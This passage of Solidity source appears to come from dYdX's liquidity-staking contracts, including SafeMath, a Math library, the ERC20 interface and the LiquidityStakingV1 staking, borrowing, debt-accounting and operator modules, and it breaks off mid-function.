* @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../dependencies/open-zeppelin/SafeMath.sol'; /** * @title Math * @author dYdX * * @dev Library for non-standard Math functions. */ library Math { using SafeMath for uint256; // ============ Library Functions ============ /** * @dev Return `ceil(numerator / denominator)`. */ function divRoundUp( uint256 numerator, uint256 denominator ) internal pure returns (uint256) { if (numerator == 0) { // SafeMath will check for zero denominator return SafeMath.div(0, denominator); } return numerator.sub(1).div(denominator).add(1); } /** * @dev Returns the minimum between a and b. */ function min( uint256 a, uint256 b ) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the maximum between a and b. */ function max( uint256 a, uint256 b ) internal pure returns (uint256) { return a > b ? a : b; } } // SPDX-License-Identifier: Apache-2.0 // // Contracts by dYdX Foundation. Individual files are released under different licenses. // // https://dydx.community // https://github.com/dydxfoundation/governance-contracts pragma solidity 0.7.5; pragma abicoder v2; import { IERC20 } from '../../interfaces/IERC20.sol'; import { LS1Admin } from './impl/LS1Admin.sol'; import { LS1Borrowing } from './impl/LS1Borrowing.sol'; import { LS1DebtAccounting } from './impl/LS1DebtAccounting.sol'; import { LS1ERC20 } from './impl/LS1ERC20.sol'; import { LS1Failsafe } from './impl/LS1Failsafe.sol'; import { LS1Getters } from './impl/LS1Getters.sol'; import { LS1Operators } from './impl/LS1Operators.sol'; /** * @title LiquidityStakingV1 * @author dYdX * * @notice Contract for staking tokens, which may then be borrowed by pre-approved borrowers. * * NOTE: Most functions will revert if epoch zero has not started. */ contract LiquidityStakingV1 is LS1Borrowing, LS1DebtAccounting, LS1Admin, LS1Operators, LS1Getters, LS1Failsafe { // ============ Constructor ============ constructor( IERC20 stakedToken, IERC20 rewardsToken, address rewardsTreasury, uint256 distributionStart, uint256 distributionEnd ) LS1Borrowing(stakedToken, rewardsToken, rewardsTreasury, distributionStart, distributionEnd) {} // ============ External Functions ============ function initialize( uint256 interval, uint256 offset, uint256 blackoutWindow ) external initializer { __LS1Roles_init(); __LS1EpochSchedule_init(interval, offset, blackoutWindow); __LS1Rewards_init(); __LS1BorrowerAllocations_init(); } // ============ Internal Functions ============ /** * @dev Returns the revision of the implementation contract. * * @return The revision number. */ function getRevision() internal pure override returns (uint256) { return 1; } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { LS1Types } from '../lib/LS1Types.sol'; import { SafeCast } from '../lib/SafeCast.sol'; import { LS1Borrowing } from './LS1Borrowing.sol'; /** * @title LS1Admin * @author dYdX * * @dev Admin-only functions. */ abstract contract LS1Admin is LS1Borrowing { using SafeCast for uint256; using SafeMath for uint256; // ============ External Functions ============ /** * @notice Set the parameters defining the function from timestamp to epoch number. * * The formula used is `n = floor((t - b) / a)` where: * - `n` is the epoch number * - `t` is the timestamp (in seconds) * - `b` is a non-negative offset, indicating the start of epoch zero (in seconds) * - `a` is the length of an epoch, a.k.a. the interval (in seconds) * * Reverts if epoch zero already started, and the new parameters would change the current epoch. * Reverts if epoch zero has not started, but would have had started under the new parameters. * Reverts if the new interval is less than twice the blackout window. * * @param interval The length `a` of an epoch, in seconds. * @param offset The offset `b`, i.e. the start of epoch zero, in seconds. */ function setEpochParameters( uint256 interval, uint256 offset ) external onlyRole(EPOCH_PARAMETERS_ROLE) nonReentrant { if (!hasEpochZeroStarted()) { require(block.timestamp < offset, 'LS1Admin: Started epoch zero'); _setEpochParameters(interval, offset); return; } // Require that we are not currently in a blackout window. require( !inBlackoutWindow(), 'LS1Admin: Blackout window' ); // We must settle the total active balance to ensure the index is recorded at the epoch // boundary as needed, before we make any changes to the epoch formula. _settleTotalActiveBalance(); // Update the epoch parameters. Require that the current epoch number is unchanged. uint256 originalCurrentEpoch = getCurrentEpoch(); _setEpochParameters(interval, offset); uint256 newCurrentEpoch = getCurrentEpoch(); require(originalCurrentEpoch == newCurrentEpoch, 'LS1Admin: Changed epochs'); // Require that the new parameters don't put us in a blackout window. require(!inBlackoutWindow(), 'LS1Admin: End in blackout window'); } /** * @notice Set the blackout window, during which one cannot request withdrawals of staked funds. */ function setBlackoutWindow( uint256 blackoutWindow ) external onlyRole(EPOCH_PARAMETERS_ROLE) nonReentrant { require( !inBlackoutWindow(), 'LS1Admin: Blackout window' ); _setBlackoutWindow(blackoutWindow); // Require that the new parameters don't put us in a blackout window. require(!inBlackoutWindow(), 'LS1Admin: End in blackout window'); } /** * @notice Set the emission rate of rewards. * * @param emissionPerSecond The new number of rewards tokens given out per second. */ function setRewardsPerSecond( uint256 emissionPerSecond ) external onlyRole(REWARDS_RATE_ROLE) nonReentrant { uint256 totalStaked = 0; if (hasEpochZeroStarted()) { // We must settle the total active balance to ensure the index is recorded at the epoch // boundary as needed, before we make any changes to the emission rate. totalStaked = _settleTotalActiveBalance(); } _setRewardsPerSecond(emissionPerSecond, totalStaked); } /** * @notice Change the allocations of certain borrowers. Can be used to add and remove borrowers. * Increases take effect in the next epoch, but decreases will restrict borrowing immediately. * This function cannot be called during the blackout window. * * @param borrowers Array of borrower addresses. * @param newAllocations Array of new allocations per borrower, as hundredths of a percent. */ function setBorrowerAllocations( address[] calldata borrowers, uint256[] calldata newAllocations ) external onlyRole(BORROWER_ADMIN_ROLE) nonReentrant { require(borrowers.length == newAllocations.length, 'LS1Admin: Params length mismatch'); require( !inBlackoutWindow(), 'LS1Admin: Blackout window' ); _setBorrowerAllocations(borrowers, newAllocations); } function setBorrowingRestriction( address borrower, bool isBorrowingRestricted ) external onlyRole(BORROWER_ADMIN_ROLE) nonReentrant { _setBorrowingRestriction(borrower, isBorrowingRestricted); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol'; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { Math } from '../../../utils/Math.sol'; import { LS1Types } from '../lib/LS1Types.sol'; import { SafeCast } from '../lib/SafeCast.sol'; import { LS1BorrowerAllocations } from './LS1BorrowerAllocations.sol'; import { LS1Staking } from './LS1Staking.sol'; /** * @title LS1Borrowing * @author dYdX * * @dev External functions for borrowers. See LS1BorrowerAllocations for details on * borrower accounting. */ abstract contract LS1Borrowing is LS1Staking, LS1BorrowerAllocations { using SafeCast for uint256; using SafeERC20 for IERC20; using SafeMath for uint256; // ============ Events ============ event Borrowed( address indexed borrower, uint256 amount, uint256 newBorrowedBalance ); event RepaidBorrow( address indexed borrower, address sender, uint256 amount, uint256 newBorrowedBalance ); event RepaidDebt( address indexed borrower, address sender, uint256 amount, uint256 newDebtBalance ); // ============ Constructor ============ constructor( IERC20 stakedToken, IERC20 rewardsToken, address rewardsTreasury, uint256 distributionStart, uint256 distributionEnd ) LS1Staking(stakedToken, rewardsToken, rewardsTreasury, distributionStart, distributionEnd) {} // ============ External Functions ============ /** * @notice Borrow staked funds. * * @param amount The token amount to borrow. */ function borrow( uint256 amount ) external nonReentrant { require(amount > 0, 'LS1Borrowing: Cannot borrow zero'); address borrower = msg.sender; // Revert if the borrower is restricted. require(!_BORROWER_RESTRICTIONS_[borrower], 'LS1Borrowing: Restricted'); // Get contract available amount and revert if there is not enough to withdraw. uint256 totalAvailableForBorrow = getContractBalanceAvailableToBorrow(); require( amount <= totalAvailableForBorrow, 'LS1Borrowing: Amount > available' ); // Get new net borrow and revert if it is greater than the allocated balance for new borrowing. uint256 newBorrowedBalance = _BORROWED_BALANCES_[borrower].add(amount); require( newBorrowedBalance <= _getAllocatedBalanceForNewBorrowing(borrower), 'LS1Borrowing: Amount > allocated' ); // Update storage. _BORROWED_BALANCES_[borrower] = newBorrowedBalance; _TOTAL_BORROWED_BALANCE_ = _TOTAL_BORROWED_BALANCE_.add(amount); // Transfer token to the borrower. STAKED_TOKEN.safeTransfer(borrower, amount); emit Borrowed(borrower, amount, newBorrowedBalance); } /** * @notice Repay borrowed funds for the specified borrower. Reverts if repay amount exceeds * borrowed amount. * * @param borrower The borrower on whose behalf to make a repayment. * @param amount The amount to repay. */ function repayBorrow( address borrower, uint256 amount ) external nonReentrant { require(amount > 0, 'LS1Borrowing: Cannot repay zero'); uint256 oldBorrowedBalance = _BORROWED_BALANCES_[borrower]; require(amount <= oldBorrowedBalance, 'LS1Borrowing: Repay > borrowed'); uint256 newBorrowedBalance = oldBorrowedBalance.sub(amount); // Update storage. _BORROWED_BALANCES_[borrower] = newBorrowedBalance; _TOTAL_BORROWED_BALANCE_ = _TOTAL_BORROWED_BALANCE_.sub(amount); // Transfer token from the sender. STAKED_TOKEN.safeTransferFrom(msg.sender, address(this), amount); emit RepaidBorrow(borrower, msg.sender, amount, newBorrowedBalance); } /** * @notice Repay a debt amount owed by a borrower. * * @param borrower The borrower whose debt to repay. * @param amount The amount to repay. */ function repayDebt( address borrower, uint256 amount ) external nonReentrant { require(amount > 0, 'LS1Borrowing: Cannot repay zero'); uint256 oldDebtAmount = _BORROWER_DEBT_BALANCES_[borrower]; require(amount <= oldDebtAmount, 'LS1Borrowing: Repay > debt'); uint256 newDebtBalance = oldDebtAmount.sub(amount); // Update storage. _BORROWER_DEBT_BALANCES_[borrower] = newDebtBalance; _TOTAL_BORROWER_DEBT_BALANCE_ = _TOTAL_BORROWER_DEBT_BALANCE_.sub(amount); _TOTAL_DEBT_AVAILABLE_TO_WITHDRAW_ = _TOTAL_DEBT_AVAILABLE_TO_WITHDRAW_.add(amount); // Transfer token from the sender. STAKED_TOKEN.safeTransferFrom(msg.sender, address(this), amount); emit RepaidDebt(borrower, msg.sender, amount, newDebtBalance); } /** * @notice Get the max additional amount that the borrower can borrow. * * @return The max additional amount that the borrower can borrow right now. */ function getBorrowableAmount( address borrower ) external view returns (uint256) { if (_BORROWER_RESTRICTIONS_[borrower]) { return 0; } // Get the remaining unused allocation for the borrower. uint256 oldBorrowedBalance = _BORROWED_BALANCES_[borrower]; uint256 borrowerAllocatedBalance = _getAllocatedBalanceForNewBorrowing(borrower); if (borrowerAllocatedBalance <= oldBorrowedBalance) { return 0; } uint256 borrowerRemainingAllocatedBalance = borrowerAllocatedBalance.sub(oldBorrowedBalance); // Don't allow new borrowing to take out funds that are reserved for debt or inactive balances. // Typically, this will not be the limiting factor, but it can be. uint256 totalAvailableForBorrow = getContractBalanceAvailableToBorrow(); return Math.min(borrowerRemainingAllocatedBalance, totalAvailableForBorrow); } // ============ Public Functions ============ /** * @notice Get the funds currently available in the contract for borrowing. * * @return The amount of non-debt, non-inactive funds in the contract. */ function getContractBalanceAvailableToBorrow() public view returns (uint256) { uint256 availableStake = getContractBalanceAvailableToWithdraw(); uint256 inactiveBalance = getTotalInactiveBalanceCurrentEpoch(); // Note: The funds available to withdraw may be less than the inactive balance. if (availableStake <= inactiveBalance) { return 0; } return availableStake.sub(inactiveBalance); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol'; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { Math } from '../../../utils/Math.sol'; import { LS1Types } from '../lib/LS1Types.sol'; import { LS1BorrowerAllocations } from './LS1BorrowerAllocations.sol'; /** * @title LS1DebtAccounting * @author dYdX * * @dev Allows converting an overdue balance into "debt", which is accounted for separately from * the staked and borrowed balances. This allows the system to rebalance/restabilize itself in the * case where a borrower fails to return borrowed funds on time. * * The shortfall debt calculation is as follows: * * - Let A be the total active balance. * - Let B be the total borrowed balance. * - Let X be the total inactive balance. * - Then, a shortfall occurs if at any point B > A. * - The shortfall debt amount is `D = B - A` * - The borrowed balances are decreased by `B_new = B - D` * - The inactive balances are decreased by `X_new = X - D` * - The shortfall index is recorded as `Y = X_new / X` * - The borrower and staker debt balances are increased by `D` * * Note that `A + X >= B` (The active and inactive balances are at least the borrowed balance.) * This implies that `X >= D` (The inactive balance is always at least the shortfall debt.) */ abstract contract LS1DebtAccounting is LS1BorrowerAllocations { using SafeERC20 for IERC20; using SafeMath for uint256; using Math for uint256; // ============ Events ============ event ConvertedInactiveBalancesToDebt( uint256 shortfallAmount, uint256 shortfallIndex, uint256 newInactiveBalance ); event DebtMarked( address indexed borrower, uint256 amount, uint256 newBorrowedBalance, uint256 newDebtBalance ); // ============ External Functions ============ /** * @notice Restrict a borrower from borrowing. The borrower must have exceeded their borrowing * allocation. Can be called by anyone. * * Unlike markDebt(), this function can be called even if the contract in TOTAL is not insolvent. */ function restrictBorrower( address borrower ) external nonReentrant { require( isBorrowerOverdue(borrower), 'LS1DebtAccounting: Borrower not overdue' ); _setBorrowingRestriction(borrower, true); } /** * @notice Convert the shortfall amount between the active and borrowed balances into “debt.” * * The function determines the size of the debt, and then does the following: * - Assign the debt to borrowers, taking the same amount out of their borrowed balance. * - Impose borrow restrictions on borrowers to whom the debt was assigned. * - Socialize the loss pro-rata across inactive balances. Each balance with a loss receives * an equal amount of debt balance that can be withdrawn as debts are repaid. * * @param borrowers A list of borrowers who are responsible for the full shortfall amount. * * @return The shortfall debt amount. */ function markDebt( address[] calldata borrowers ) external nonReentrant returns (uint256) { // The debt is equal to the difference between the total active and total borrowed balances. uint256 totalActiveCurrent = getTotalActiveBalanceCurrentEpoch(); uint256 totalBorrowed = _TOTAL_BORROWED_BALANCE_; require(totalBorrowed > totalActiveCurrent, 'LS1DebtAccounting: No shortfall'); uint256 shortfallDebt = totalBorrowed.sub(totalActiveCurrent); // Attribute debt to borrowers. _attributeDebtToBorrowers(shortfallDebt, totalActiveCurrent, borrowers); // Apply the debt to inactive balances, moving the same amount into users debt balances. _convertInactiveBalanceToDebt(shortfallDebt); return shortfallDebt; } // ============ Public Functions ============ /** * @notice Whether the borrower is overdue on a payment, and is currently subject to having their * borrowing rights revoked. * * @param borrower The borrower to check. */ function isBorrowerOverdue( address borrower ) public view returns (bool) { uint256 allocatedBalance = getAllocatedBalanceCurrentEpoch(borrower); uint256 borrowedBalance = _BORROWED_BALANCES_[borrower]; return borrowedBalance > allocatedBalance; } // ============ Private Functions ============ /** * @dev Helper function to partially or fully convert inactive balances to debt. * * @param shortfallDebt The shortfall amount: borrowed balances less active balances. */ function _convertInactiveBalanceToDebt( uint256 shortfallDebt ) private { // Get the total inactive balance. uint256 oldInactiveBalance = getTotalInactiveBalanceCurrentEpoch(); // Calculate the index factor for the shortfall. uint256 newInactiveBalance = 0; uint256 shortfallIndex = 0; if (oldInactiveBalance > shortfallDebt) { newInactiveBalance = oldInactiveBalance.sub(shortfallDebt); shortfallIndex = SHORTFALL_INDEX_BASE.mul(newInactiveBalance).div(oldInactiveBalance); } // Get the shortfall amount applied to inactive balances. uint256 shortfallAmount = oldInactiveBalance.sub(newInactiveBalance); // Apply the loss. This moves the debt from stakers' inactive balances to their debt balances. _applyShortfall(shortfallAmount, shortfallIndex); emit ConvertedInactiveBalancesToDebt(shortfallAmount, shortfallIndex, newInactiveBalance); } /** * @dev Helper function to attribute debt to borrowers, adding it to their debt balances. * * @param shortfallDebt The shortfall amount: borrowed balances less active balances. * @param totalActiveCurrent The total active balance for the current epoch. * @param borrowers A list of borrowers responsible for the full shortfall amount. */ function _attributeDebtToBorrowers( uint256 shortfallDebt, uint256 totalActiveCurrent, address[] calldata borrowers ) private { // Find borrowers to attribute the total debt amount to. The sum of all borrower shortfalls is // always at least equal to the overall shortfall, so it is always possible to specify a list // of borrowers whose excess borrows cover the full shortfall amount. // // Denominate values in “points” scaled by TOTAL_ALLOCATION to avoid rounding. uint256 debtToBeAttributedPoints = shortfallDebt.mul(TOTAL_ALLOCATION); uint256 shortfallDebtAfterRounding = 0; for (uint256 i = 0; i < borrowers.length; i++) { address borrower = borrowers[i]; uint256 borrowedBalanceTokenAmount = _BORROWED_BALANCES_[borrower]; uint256 borrowedBalancePoints = borrowedBalanceTokenAmount.mul(TOTAL_ALLOCATION); uint256 allocationPoints = getAllocationFractionCurrentEpoch(borrower); uint256 allocatedBalancePoints = totalActiveCurrent.mul(allocationPoints); // Skip this borrower if they have not exceeded their allocation. if (borrowedBalancePoints <= allocatedBalancePoints) { continue; } // Calculate the borrower's debt, and limit to the remaining amount to be allocated. uint256 borrowerDebtPoints = borrowedBalancePoints.sub(allocatedBalancePoints); borrowerDebtPoints = Math.min(borrowerDebtPoints, debtToBeAttributedPoints); // Move the debt from the borrowers' borrowed balance to the debt balance. Rounding may occur // when converting from “points” to tokens. We round up to ensure the final borrowed balance // is not greater than the allocated balance. uint256 borrowerDebtTokenAmount = borrowerDebtPoints.divRoundUp(TOTAL_ALLOCATION); uint256 newDebtBalance = _BORROWER_DEBT_BALANCES_[borrower].add(borrowerDebtTokenAmount); uint256 newBorrowedBalance = borrowedBalanceTokenAmount.sub(borrowerDebtTokenAmount); _BORROWER_DEBT_BALANCES_[borrower] = newDebtBalance; _BORROWED_BALANCES_[borrower] = newBorrowedBalance; emit DebtMarked(borrower, borrowerDebtTokenAmount, newBorrowedBalance, newDebtBalance); shortfallDebtAfterRounding = shortfallDebtAfterRounding.add(borrowerDebtTokenAmount); // Restrict the borrower from further borrowing. _setBorrowingRestriction(borrower, true); // Update the remaining amount to allocate. debtToBeAttributedPoints = debtToBeAttributedPoints.sub(borrowerDebtPoints); // Exit early if all debt was allocated. if (debtToBeAttributedPoints == 0) { break; } } // Require the borrowers to cover the full debt amount. This should always be possible. require( debtToBeAttributedPoints == 0, 'LS1DebtAccounting: Borrowers do not cover the shortfall' ); // Move the debt from the total borrowed balance to the total debt balance. _TOTAL_BORROWED_BALANCE_ = _TOTAL_BORROWED_BALANCE_.sub(shortfallDebtAfterRounding); _TOTAL_BORROWER_DEBT_BALANCE_ = _TOTAL_BORROWER_DEBT_BALANCE_.add(shortfallDebtAfterRounding); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20Detailed } from '../../../interfaces/IERC20Detailed.sol'; import { LS1Types } from '../lib/LS1Types.sol'; import { LS1StakedBalances } from './LS1StakedBalances.sol'; /** * @title LS1ERC20 * @author dYdX * * @dev ERC20 interface for staked tokens. Allows a user with an active stake to transfer their * staked tokens to another user, even if they would otherwise be restricted from withdrawing. */ abstract contract LS1ERC20 is LS1StakedBalances, IERC20Detailed { using SafeMath for uint256; // ============ External Functions ============ function name() external pure override returns (string memory) { return 'dYdX Staked USDC'; } function symbol() external pure override returns (string memory) { return 'stkUSDC'; } function decimals() external pure override returns (uint8) { return 6; } /** * @notice Get the total supply of `STAKED_TOKEN` staked to the contract. * This value is calculated from adding the active + inactive balances of * this current epoch. * * @return The total staked balance of this contract. */ function totalSupply() external view override returns (uint256) { return getTotalActiveBalanceCurrentEpoch() + getTotalInactiveBalanceCurrentEpoch(); } /** * @notice Get the current balance of `STAKED_TOKEN` the user has staked to the contract. * This value includes the users active + inactive balances, but note that only * their active balance in the next epoch is transferable. * * @param account The account to get the balance of. * * @return The user's balance. */ function balanceOf( address account ) external view override returns (uint256) { return getActiveBalanceCurrentEpoch(account) + getInactiveBalanceCurrentEpoch(account); } function transfer( address recipient, uint256 amount ) external override nonReentrant returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance( address owner, address spender ) external view override returns (uint256) { return _ALLOWANCES_[owner][spender]; } function approve( address spender, uint256 amount ) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override nonReentrant returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _ALLOWANCES_[sender][msg.sender].sub(amount, 'LS1ERC20: transfer amount exceeds allowance') ); return true; } function increaseAllowance( address spender, uint256 addedValue ) external returns (bool) { _approve(msg.sender, spender, _ALLOWANCES_[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) external returns (bool) { _approve( msg.sender, spender, _ALLOWANCES_[msg.sender][spender].sub( subtractedValue, 'LS1ERC20: Decreased allowance below zero' ) ); return true; } // ============ Internal Functions ============ function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), 'LS1ERC20: Transfer from address(0)'); require(recipient != address(0), 'LS1ERC20: Transfer to address(0)'); require( getTransferableBalance(sender) >= amount, 'LS1ERC20: Transfer exceeds next epoch active balance' ); _transferCurrentAndNextActiveBalance(sender, recipient, amount); emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), 'LS1ERC20: Approve from address(0)'); require(spender != address(0), 'LS1ERC20: Approve to address(0)'); _ALLOWANCES_[owner][spender] = amount; emit Approval(owner, spender, amount); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { LS1Types } from '../lib/LS1Types.sol'; import { SafeCast } from '../lib/SafeCast.sol'; import { LS1StakedBalances } from './LS1StakedBalances.sol'; /** * @title LS1Failsafe * @author dYdX * * @dev Functions for recovering from very unlikely edge cases. */ abstract contract LS1Failsafe is LS1StakedBalances { using SafeCast for uint256; using SafeMath for uint256; /** * @notice Settle the sender's inactive balance up to the specified epoch. This allows the * balance to be settled while putting an upper bound on the gas expenditure per function call. * This is unlikely to be needed in practice. * * @param maxEpoch The epoch to settle the sender's inactive balance up to. */ function failsafeSettleUserInactiveBalanceToEpoch( uint256 maxEpoch ) external nonReentrant { address staker = msg.sender; _failsafeSettleUserInactiveBalance(staker, maxEpoch); } /** * @notice Sets the sender's inactive balance to zero. This allows for recovery from a situation * where the gas cost to settle the balance is higher than the value of the balance itself. * We provide this function as an alternative to settlement, since the gas cost for settling an * inactive balance is unbounded (except in that it may grow at most linearly with the number of * epochs that have passed). */ function failsafeDeleteUserInactiveBalance() external nonReentrant { address staker = msg.sender; _failsafeDeleteUserInactiveBalance(staker); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { LS1Staking } from './LS1Staking.sol'; /** * @title LS1Operators * @author dYdX * * @dev Actions which may be called by authorized operators, nominated by the contract owner. * * There are three types of operators. These should be smart contracts, which can be used to * provide additional functionality to users: * * STAKE_OPERATOR_ROLE: * * This operator is allowed to request withdrawals and withdraw funds on behalf of stakers. This * role could be used by a smart contract to provide a staking interface with additional * features, for example, optional lock-up periods that pay out additional rewards (from a * separate rewards pool). * * CLAIM_OPERATOR_ROLE: * * This operator is allowed to claim rewards on behalf of stakers. This role could be used by a * smart contract to provide an interface for claiming rewards from multiple incentive programs * at once. * * DEBT_OPERATOR_ROLE: * * This operator is allowed to decrease staker and borrower debt balances. Typically, each change * to a staker debt balance should be offset by a corresponding change in a borrower debt * balance, but this is not strictly required. This role could used by a smart contract to * tokenize debt balances or to provide a pro-rata distribution to debt holders, for example. */ abstract contract LS1Operators is LS1Staking { using SafeMath for uint256; // ============ Events ============ event OperatorStakedFor( address indexed staker, uint256 amount, address operator ); event OperatorWithdrawalRequestedFor( address indexed staker, uint256 amount, address operator ); event OperatorWithdrewStakeFor( address indexed staker, address recipient, uint256 amount, address operator ); event OperatorClaimedRewardsFor( address indexed staker, address recipient, uint256 claimedRewards, address operator ); event OperatorDecreasedStakerDebt( address indexed staker, uint256 amount, uint256 newDebtBalance, address operator ); event OperatorDecreasedBorrowerDebt( address indexed borrower, uint256 amount, uint256 newDebtBalance, address operator ); // ============ External Functions ============ /** * @notice Request a withdrawal on behalf of a staker. * * Reverts if we are currently in the blackout window. * * @param staker The staker whose stake to request a withdrawal for. * @param amount The amount to move from the active to the inactive balance. */ function requestWithdrawalFor( address staker, uint256 amount ) external onlyRole(STAKE_OPERATOR_ROLE) nonReentrant { _requestWithdrawal(staker, amount); emit OperatorWithdrawalRequestedFor(staker, amount, msg.sender); } /** * @notice Withdraw a staker's stake, and send to the specified recipient. * * @param staker The staker whose stake to withdraw. * @param recipient The address that should receive the funds. * @param amount The amount to withdraw from the staker's inactive balance. */ function withdrawStakeFor( address staker, address recipient, uint256 amount ) external onlyRole(STAKE_OPERATOR_ROLE) nonReentrant { _withdrawStake(staker, recipient, amount); emit OperatorWithdrewStakeFor(staker, recipient, amount, msg.sender); } /** * @notice Claim rewards on behalf of a staker, and send them to the specified recipient. * * @param staker The staker whose rewards to claim. * @param recipient The address that should receive the funds. * * @return The number of rewards tokens claimed. */ function claimRewardsFor( address staker, address recipient ) external onlyRole(CLAIM_OPERATOR_ROLE) nonReentrant returns (uint256) { uint256 rewards = _settleAndClaimRewards(staker, recipient); // Emits an event internally. emit OperatorClaimedRewardsFor(staker, recipient, rewards, msg.sender); return rewards; } /** * @notice Decreased the balance recording debt owed to a staker. * * @param staker The staker whose balance to decrease. * @param amount The amount to decrease the balance by. * * @return The new debt balance. */ function decreaseStakerDebt( address staker, uint256 amount ) external onlyRole(DEBT_OPERATOR_ROLE) nonReentrant returns (uint256) { uint256 oldDebtBalance = _settleStakerDebtBalance(staker); uint256 newDebtBalance = oldDebtBalance.sub(amount); _STAKER_DEBT_BALANCES_[staker] = newDebtBalance; emit OperatorDecreasedStakerDebt(staker, amount, newDebtBalance, msg.sender); return newDebtBalance; } /** * @notice Decreased the balance recording debt owed by a borrower. * * @param borrower The borrower whose balance to decrease. * @param amount The amount to decrease the balance by. * * @return The new debt balance. */ function decreaseBorrowerDebt( address borrower, uint256 amount ) external onlyRole(DEBT_OPERATOR_ROLE) nonReentrant returns (uint256) { uint256 newDebtBalance = _BORROWER_DEBT_BALANCES_[borrower].sub(amount); _BORROWER_DEBT_BALANCES_[borrower] = newDebtBalance; _TOTAL_BORROWER_DEBT_BALANCE_ = 